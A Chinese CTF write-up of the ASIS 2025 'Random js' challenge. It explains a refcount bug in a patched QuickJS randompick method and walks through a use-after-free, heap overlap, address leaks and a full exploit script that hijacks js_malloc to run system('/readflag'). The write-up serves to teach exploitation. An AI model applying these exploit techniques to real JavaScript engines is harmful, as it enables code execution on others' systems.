2025 ASISCTF Random js复现
Random js Before the problem https://mem2019.github.io/jekyll/update/2021/09/27/TCTF2021-Promise.html
下面引用该文中的base部分:
在 JavaScript 中,我们有多种类型的变量,例如整数、对象、数组和内置对象(例如 ArrayBuffer
)
相对应 v8中number string null等类型
JavaScript 引擎需要以某种方式表示这些变量。在 quickjs
中,每个变量都表示为 JSValue
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 typedef union JSValueUnion { int32_t int32; double float64; void *ptr; } JSValueUnion;typedef struct JSValue { JSValueUnion u; int64_t tag; } JSValue;#define JSValueConst JSValue
tag可以是以下值之一,省略了部分enum值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 enum { JS_TAG_OBJECT = -1 , JS_TAG_INT = 0 , JS_TAG_BOOL = 1 , JS_TAG_NULL = 2 , JS_TAG_UNDEFINED = 3 , };
这里的符号是用来判断这个变量是否有引用计数的:所有具有引用计数的tag都是负数。换句话说,负tag表示该变量由堆管理,正tag表示它不由堆管理。 当tag= JS_TAG_OBJECT
时,使用的是 JSValueUnion
的 ptr
字段,该 ptr
指向 JSObject
结构,该结构在 quickjs.c
中定义。
quickjs
中的所有对象,包括 ArrayBuffer
等内置对象,都以这种方式表示。
JSObject
的前 32 位始终是引用计数 。
Debug 调试 要构建二进制的调试版本,我们可以在 Makefile
中将 BUILDTYPE?=Release
修改为 BUILDTYPE?=Debug
,并据此 进行构建。 为了查看特定变量如何存储在内存中,我们有一个简单的方法:在函数 js_math_min_max
或 quickjs.c:41563
处设置断点,并调用 Math.min(v)
来触发断点,因为 js_math_min_max
是 Math.min
的处理程序。
然后通过检查 JSValueConst \*argv
或寄存器 r8
的内存 布局,我们可以检查变量 v
的内存表示。
Garbage Collection quickjs
的garbage collection是通过reference counting来管理的,如果reference counting,变为零,object就会被释放。下面是一个例子来说明这一点:
x/wx argv->u.ptr: ref_count == 2 指向 JSValue
的 union
内的 ptr
字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 let o = [0x1337 ];Math .min (o); let v = o;Math .min (o); o = undefined ;Math .min (v); v = undefined ;console .log ("Finish" );
当我们使用 Math.min
方法查看 ref_count
时,它总是比当前指向object的 JavaScript 变量数量多一个。作者猜还有一个内部参考有助于增加一个ref。尽管如此,当引用该对象的变量数量减少到零时,该对象仍将被释放,因此我们可以将实际引用计数视为 ref_count - 1
。
另外这里Math.min(a)调用会额外增加a的ref_count且不会减少,会破坏一些有free次数要求的uaf,比如该题()
The problem bug 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 -QJS_OBJS=$(OBJDIR)/qjs.o $(OBJDIR)/repl.o $(QJS_LIB_OBJS) +QJS_OBJS=$(OBJDIR)/qjs.o $(QJS_LIB_OBJS) 去掉了 repl.o,不再编译自带的交互式 REPL 逻辑-extern const uint8_t qjsc_repl[]; -extern const uint32_t qjsc_repl_size; +// extern const uint8_t qjsc_repl[]; +// extern const uint32_t qjsc_repl_size; 注释掉了 REPL 所需的 qjsc_repl 字节码- js_init_module_std(ctx, "std"); - js_init_module_os(ctx, "os"); + // js_init_module_std(ctx, "std"); + // js_init_module_os(ctx, "os"); 去掉了 std 和 os 内置模块的注册+ setbuf(stdout,NULL); + setbuf(stdin,NULL); + + srand((unsigned) time(NULL)); 设置 stdout/stdin,随机数初始化- js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0); + // js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0); + exit(1); 禁用交互模式(REPL),直接退出。- namelist_add(&cmodule_list, "std", "std", 0); - namelist_add(&cmodule_list, "os", "os", 0); + // namelist_add(&cmodule_list, "std", "std", 0); + // namelist_add(&cmodule_list, "os", "os", 0); qjsc 编译出来的程序不再自动包含这些模块- JS_SetPropertyStr(ctx, global_obj, "__loadScript", - JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1)); + // JS_SetPropertyStr(ctx, global_obj, "__loadScript", + // JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1)); 移除了全局函数 __loadScript。 这个函数原本能让 JS 从文件加载并执行脚本
似乎这些就是导致类似import flag.txt问题的原因(
通过patch,添加了 Array.prototype.randompick
这个方法
arr.randompick()
会随机返回数组中的一个元素。
用了 rand()
,每次进程启动时用 srand(time(NULL))
初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @@ -40680,6 +40680,35 @@ exception: return JS_EXCEPTION; } +static JSValue js_array_randompick(JSContext *ctx, JSValueConst this_val, + int argc, JSValueConst *argv) +{ + JSValue obj, ret; + int64_t len, idx; + JSValue *arrp; + uint32_t count; + + obj = JS_ToObject(ctx, this_val); + if (js_get_length64(ctx, &len, obj)) + goto exception; + + idx = rand() % len; + + if (js_get_fast_array(ctx, obj, &arrp, &count) && idx < count) ret = (JSValue) arrp[idx]; + else { + int present = JS_TryGetPropertyInt64(ctx, obj, idx, &ret); + if (present < 0) + goto exception; + if (!present) + ret = JS_UNDEFINED; + } + JS_FreeValue(ctx, obj); + return ret; + exception: + JS_FreeValue(ctx, obj); + return JS_EXCEPTION; +} +
UAF是JSvalue的uaf ,这里的引用计数有问题,没有dupvalue(在使用时引用计数没有+1)
https://tourpran.github.io/writeups/randomjs-asis25.html
从这篇wp解析里可以得知
这是quickjs.c
中通过索引访问数组元素的标准方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 static JSValue js_array_at (JSContext *ctx, JSValueConst this_val, int argc, JSValueConst *argv) { JSValue obj, ret; int64_t len, idx; JSValue *arrp; uint32_t count; obj = JS_ToObject(ctx, this_val); if (js_get_length64(ctx, &len, obj)) goto exception; if (JS_ToInt64Sat(ctx, &idx, argv[0 ])) goto exception; if (idx < 0 ) idx = len + idx; if (idx < 0 || idx >= len) { ret = JS_UNDEFINED; } else if (js_get_fast_array(ctx, obj, &arrp, &count) && idx < count) { ret = JS_DupValue(ctx, arrp[idx]); } else { int present = JS_TryGetPropertyInt64(ctx, obj, idx, &ret); if (present < 0 ) goto exception; if (!present) ret = JS_UNDEFINED; } JS_FreeValue(ctx, obj); return ret; exception: JS_FreeValue(ctx, obj); return JS_EXCEPTION; }
最后很明显是进入tcache了
这里a是一个Jsobject的表示,b是标准JSvalue结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function f ( ) { var b = "aaaa" ; var a = [b]; c = a.randompick (); a = [null ]; a = [b]; d = a.randompick (); delete d a = [b]; d = a.randompick (); delete d return c }
当第一次运行randompick的返回值
1 2 3 4 5 6 7 8 9 Value returned is $1 = { u = { int32 = 0xab3caa50 , float64 = 5.3770670738431464e-310 , ptr = 0x62fbab3caa50 , short_big_int = 0x62fbab3caa50 }, tag = 0xfffffffffffffff9 }
返回的JSvalue结构体,由于是var b = "aaaa"; var a = [b];
联合体部分是指向字符串的指针,
在上面的触发exp脚本中,脚本作者选择了返回值
而如果我们不用返回值,类似如下代码,则可以通过调试方法很明显发现str
的ref-1
1 2 3 4 5 6 let str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" ; let uaf = [str ]; uaf.randompick(); uaf.randompick(); uaf.randompick(); uaf.randompick();
uaf 以下内容引自https://tourpran.github.io/writeups/randomjs-asis25.html该文章,笔者只是针对js的知识点和相关exp进行复现
quickJS 中的每个object都有一个大小固定 0x50结构体头(独立出来),可以和 ArrayBuffer 的 backing store 重叠,因为我们必须以某种方式在object和某个arraybuffer
的backing store
获取一个重叠的块。这样,我们就可以完全控制这个object及其指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 type = struct JSObject { union { JSGCObjectHeader header; struct { int __gc_ref_count; uint8_t __gc_mark; uint8_t extensible : 1 ; uint8_t free_mark : 1 ; uint8_t is_exotic : 1 ; uint8_t fast_array : 1 ; uint8_t is_constructor : 1 ; uint8_t is_uncatchable_error : 1 ; uint8_t tmp_mark : 1 ; uint8_t is_HTMLDDA : 1 ; uint16_t class_id; }; }; uint32_t weakref_count; JSShape *shape; JSProperty *prop; union { void *opaque; struct JSBoundFunction *bound_function; struct JSCFunctionDataRecord *c_function_data_record; struct JSForInIterator *for_in_iterator; struct JSArrayBuffer *array_buffer; struct JSTypedArray *typed_array; struct JSMapState *map_state; struct JSMapIteratorData *map_iterator_data; struct JSArrayIteratorData *array_iterator_data; struct JSRegExpStringIteratorData *regexp_string_iterator_data; struct JSGeneratorData *generator_data; struct JSProxyData *proxy_data; struct JSPromiseData *promise_data; struct JSPromiseFunctionData *promise_function_data; struct JSAsyncFunctionState *async_function_data; struct JSAsyncFromSyncIteratorData *async_from_sync_iterator_data; struct JSAsyncGeneratorData *async_generator_data; struct { struct JSFunctionBytecode *function_bytecode; JSVarRef **var_refs; JSObject *home_object; } func; struct { JSContext *realm; JSCFunctionType c_function; uint8_t length; uint8_t cproto; int16_t magic; } cfunc; struct { union { uint32_t size; struct JSTypedArray *typed_array; } u1; union { JSValue *values; void *ptr; int8_t *int8_ptr; uint8_t *uint8_ptr; int16_t *int16_ptr; uint16_t *uint16_ptr; int32_t *int32_ptr; uint32_t *uint32_ptr; int64_t *int64_ptr; uint64_t *uint64_ptr; float *float_ptr; double *double_ptr; } u; uint32_t count; } array; JSRegExp regexp; JSValue object_data; } u; }
这是JSstring的结构体(原始类型)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 >gef ptype /ox JSString type = struct JSString { JSRefCountHeader header; uint32_t len : 31 ; uint8_t is_wide_char : 1 ; uint32_t hash : 30 ; uint8_t atom_type : 2 ; uint32_t hash_next; union { uint8_t str8[0 ]; uint16_t str16[0 ]; } u; }
如果拿到这个uaf覆盖size和ref就可以做更多的东西了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 let dummy = new ArrayBuffer (0x48 );let str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" ;let uaf = [str]; uaf.randompick (); uaf.randompick (); uaf.randompick (); uaf.randompick (); uaf[0 ] = dummy; uaf.randompick (); uaf.randompick (); uaf.randompick (); let dummy2 = new ArrayBuffer (0x500 );let overlap1 = new Uint32Array (16 );
具体似乎根据各自引用计数来做uaf即可
overlap1
的 backing_store(数据区)会指向 str
对象。
tcache bin 中的情况
释放 str
(strcut_header+data len=0x40,加上堆块): tcache bin 0x50: [str 对象]
释放 dummy
: tcache bin 0x50: [dummy_data], [dummy_object], [str 对象]
分配 dummy2
: tcache bin 0x50: [dummy_object], [str 对象]
最后:
overlap1
的object memory location = dummy_object
overlap1
的数据指针(backing_store)= 指向 str
对象的地址(大小大约 [16 * 4] 或者 [18 * 4],因为它分配的内存块大小是 0x50)
leak 修改size 写一个读取函数
1 2 3 4 5 6 7 8 9 10 overlap1[0 ] = 20 ; overlap1[1 ] = 0x41414141 ; overlap1[2 ] = 0x497f93b1 ; const read_offset_dword = (offset ) => { let res = 0 ; for (let i = 3 ; i >= 0 ; i--) { res = (res << 8 ) | str.charCodeAt (offset + i); } return res; };
在这里只得到了堆地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 let rem = new Uint32Array (0x140 ); uaf = [rem]; uaf.randompick (); uaf.randompick (); uaf.randompick ();let overlap = new Uint32Array (18 ); overlap[0 ] = 69 ; overlap[1 ] = 0x001b0d00 ; overlap[0x10 ] = 0x41414141 ; heap_addr = heap + 0x1d4b0 ; overlap[8 ] = heap_addr % 0x100000000 ; overlap[9 ] = heap_addr / 0x100000000 ; overlap[0xe ] = (heap + 0x2f90 ) % 0x100000000 ; overlap[0xf ] = (heap + 0x2f90 ) / 0x100000000 ;
但是作者使用Uint32Array再次获得了libc地址
将数据指针改到了堆的某个位置,修改size拿到了libc
Getting RCE: 从这里开始有很多办法拿到 RCE。
作者看这篇blog 时发现,最简单的办法是:
把 ctx->rt->mf->js_malloc
覆盖成 system
。
再把 ctx->rt->malloc_state
覆盖成 readflag
。
1 2 3 4 void *js_malloc_rt (JSRuntime *rt, size_t size) { return rt->mf.js_malloc(&rt->malloc_state, size); }
Full exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 function d2u (v ) { f64[0 ] = v; return u32; }function u2d (lo, hi ) { u32[0 ] = lo; u32[1 ] = hi; return f64[0 ]; }function hex (val ) { return '0x' + val.toString (16 ); }function leak (obj ){ return console .log (leakAddress (obj)); }const read_dword = (offset ) => { let result = 0 ; for (let i = 3 ; i >= 0 ; i--) { result = (result << 8 ) | str.charCodeAt (offset + i); } return result; };let a = 1 ;let dummy = new ArrayBuffer (0x48 );let str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" ;let uaf = [str]; uaf.randompick (); uaf.randompick (); uaf.randompick (); uaf.randompick (); uaf[0 ] = dummy; uaf.randompick (); uaf.randompick (); uaf.randompick (); let dummy2 = new ArrayBuffer (0x500 );let overlap1 = new Uint32Array (16 );Math .min (overlap1); overlap1[0 ] = 20 ; overlap1[1 ] = 0x41414141 ; overlap1[2 ] = 0x497f93b1 ; uaf[0 ] = dummy2; uaf.randompick (); uaf.randompick (); uaf.randompick ();let ind = 0 ;1 for (let i = 0 ; i < 0x500 ; i++) { let val = read_dword (0x2700 + i*4 ); let val2 = read_dword (0x2700 + i*4 + 4 ); if (val%0x1000 == 0xb20 && val2>>(44 ) == 0x7 ){ console .log ("[+] Found!! " +hex (i*4 )); ind = i*4 ; break ; } } up = read_dword (0x1b24 ); low = read_dword (0x1b20 ); heap_up = read_dword (0x314 ); heap_low = read_dword (0x310 ); heap = (((heap_up * 0x100000000 ) + heap_low) * 0x1000 ) - 0x18000 ; let dummy4 = new ArrayBuffer (0x48 );let rem = new Uint32Array (0x140 ); uaf = [rem]; uaf.randompick (); uaf.randompick (); uaf.randompick ();let overlap = new Uint32Array (18 ); overlap[0 ] = 69 ; overlap[1 ] = 0x001b0d00 ; overlap[0x10 ] = 0x41414141 ; heap_addr = heap + 0x1d4b0 ; overlap[8 ] = heap_addr % 0x100000000 ; overlap[9 ] = heap_addr / 0x100000000 ; overlap[0xe ] = (heap + 0x2f90 ) % 0x100000000 ; overlap[0xf ] = (heap + 0x2f90 ) / 0x100000000 ; libc_leak = (rem[1 ]*0x100000000 + rem[0 ]) - 0x210b20 console .log ("heap: " + hex (heap));console .log ("libc: " + hex (libc_leak)); free_hook = heap + 0x2a8 - 8 ; overlap[0xe ] = (free_hook) % 0x100000000 ; overlap[0xf ] = (free_hook) / 0x100000000 ; rem[0 ] = (libc_leak + 0x5c110 )%0x100000000 ; rem[1 ] = (libc_leak + 0x5c110 )/0x100000000 ; rem[8 ] = 0x6165722f ; rem[9 ] = 0x616c6664 ; rem[10 ] = 0x00000067 ;Math .min (rem);
References: